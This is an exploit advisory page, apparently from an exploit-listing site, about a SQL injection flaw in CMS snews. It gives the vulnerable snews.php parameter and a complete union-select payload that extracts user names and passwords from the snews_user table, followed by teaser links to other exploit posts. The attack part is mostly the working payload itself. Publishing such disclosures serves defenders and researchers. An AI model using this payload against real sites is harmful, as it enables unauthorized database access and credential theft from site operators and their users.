CMS snews SQL Injection Vulnerability

Published on March 14th, 2013
Summary

CMS snews is prone to a SQL injection vulnerability.

Credit:

Details

Vulnerable Systems:
 * CMS snews

SQL poc:

http://localhost/snews/snews.php?act=shownews&id=[SQL]

Example:

http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*

Disclosure Timeline:
Published: 2013-01-15

Categories: Exploits
Tags:

Related Posts

Exploits

BlueBorne Kernel version v3.3-rc1 Denial Of Service Vulnerability

The native Bluetooth stack in the Linux Kernel (BlueZ), starting at the Linux kernel version 3.3-rc1 and up to and including 4.13.1, are vulnerable to a stack overflow vulnerability in the processing of L2CAP configuration responses resulting in Remote code execution in kernel space.

Exploits

X5 Webserver 5.0 Remote Denial Of Service Exploit

X5 is the latest generation web server from iMatix Corporation.The Xitami product line stretches back to 1996. X5 is built using iMatix's current Base2 technology for multithreading applications. On multicore machines,it is much more scalable than Xitami/2.

Exploits

E-Journal (Old Version) Multiple Vulnerabilities

E-Journal (Old Version) Multiple Vulnerabilities including; SQL Injection, Privilege Escalation and File Upload Vulnerability